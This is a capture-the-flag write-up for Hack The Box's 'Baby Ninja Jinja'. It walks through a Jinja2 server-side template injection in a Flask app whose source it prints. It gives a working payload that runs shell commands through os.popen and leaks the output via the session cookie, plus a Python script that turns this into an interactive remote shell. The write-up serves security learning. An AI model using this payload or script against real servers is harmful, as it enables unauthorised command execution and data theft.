Baby Ninja Jinja - Hack The Box Challenge
The website presents us with an input form. The entry didn’t appear to be vulnerable to SQL injection or any such attack, so we resorted to scanning the website in an attempt to find other vulnerable endpoints.
We’ll use dirb
which is a tool for fuzzing.
We find that there are two routes, console
and debug
.
Checking debug page content, we can see the source code of the website backend.
/debug
:
from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)
acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/ninjas.db')
db.isolation_level = None
db.row_factory = sqlite3.Row
db.text_factory = (lambda s: s.replace('{{', '').
replace("'", ''').
replace('"', '"').
replace('<', '<').
replace('>', '>')
)
return db
def query_db(query, args=(), one=False):
with app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], str(value)) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv
@app.before_first_request
def init_db():
with app.open_resource('schema.sql', mode='r') as f:
get_db().cursor().executescript(f.read())
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None: db.close()
def rite_of_passage(func):
@functools.wraps(func)
def born2pwn(*args, **kwargs):
name = request.args.get('name', '')
if name:
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
report = render_template_string(acc_tmpl.
replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)
if session.get('leader'):
return report
return render_template('welcome.jinja2')
return func(*args, **kwargs)
return born2pwn
@app.route('/')
@rite_of_passage
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
Server Site Template Injection (SSTI)
From the code we can see that the name
entry is inserted into a backend database and then extracted again from the database to replace the substring baby_ninja
in the acc_tmpl
string, which is then used in a call to the render_template_string
function.
The string acc_tmpl
contains template blocks indicated by the leading {%" and the trailing "%}
. Also, the name of the challenge contains the word Jinja which is a template language for Python.
With this in mind, this should consist of a Server-Side Template Injection (SSTI) attack.
This is done by inserting template blocks into the input of our name
parameter, so that the template blocks are executed in the context of the backend server when rendering the template string.
Researching about Jinja & Python SSTI attacks
The following payload was built:
{%+if+session.update({request.args.se:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read()})+==+1+%}{%+endif+%}&se=asdf&os=os&command=ls
- request.args.
reads the param value from the request and substitutes it.
To test it, we’ll intercept the request when we send some text in the input of the web. We are going to use Burp Suite to intercept the request and once we have intercepted it, we will send it to the Repeater, subsequently rewriting the request for the payload, leaving it like this:
As a result we obtain a cookie session, which if we decode using the python flask-unsing
library, we will obtain the output of the command we requested in the request we made.
flask-unsign --decode --cookie
Output:
'eyJhc2RmIjp7IiBiIjoiWVhCd0xuQjVDbVpzWVdkZlVEVTBaV1FLYzJOb1pXMWhMbk54YkFwemRHRjBhV01LZEdWdGNHeGhkR1Z6Q2c9PSJ9fQ.YINj9g.TUKzD-UiXlv3FQdo6x3uKpmFet8'
{'asdf': b'app.py\nflag_P54ed\nschema.sql\nstatic\ntemplates\n'}
So all this challenges goes about , using the cookie session got from a SSTI attack request to get the info after decode it.
SSTI Exploit Automatitation with Python3
So we can automatize that with a little python script:
import requests
import flask_unsign
Server = input("Server addr: ")
if requests.get(Server).status_code == 200:
while True:
cmd = input ("Command: ")
if cmd == "exit":
exit()
sess = requests.Session()
sess.get(Server+"/?name={%+if+session.update({request.args.se:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read()})+==+1+%}{%+endif+%}&se=asdf&os=os&command="+cmd)
session = sess.cookies.get_dict()['session']
print(flask_unsign.decode(str(session))['asdf'].decode())
Now we can using a shell-style commands against the server, getting the flag in the process.
Byee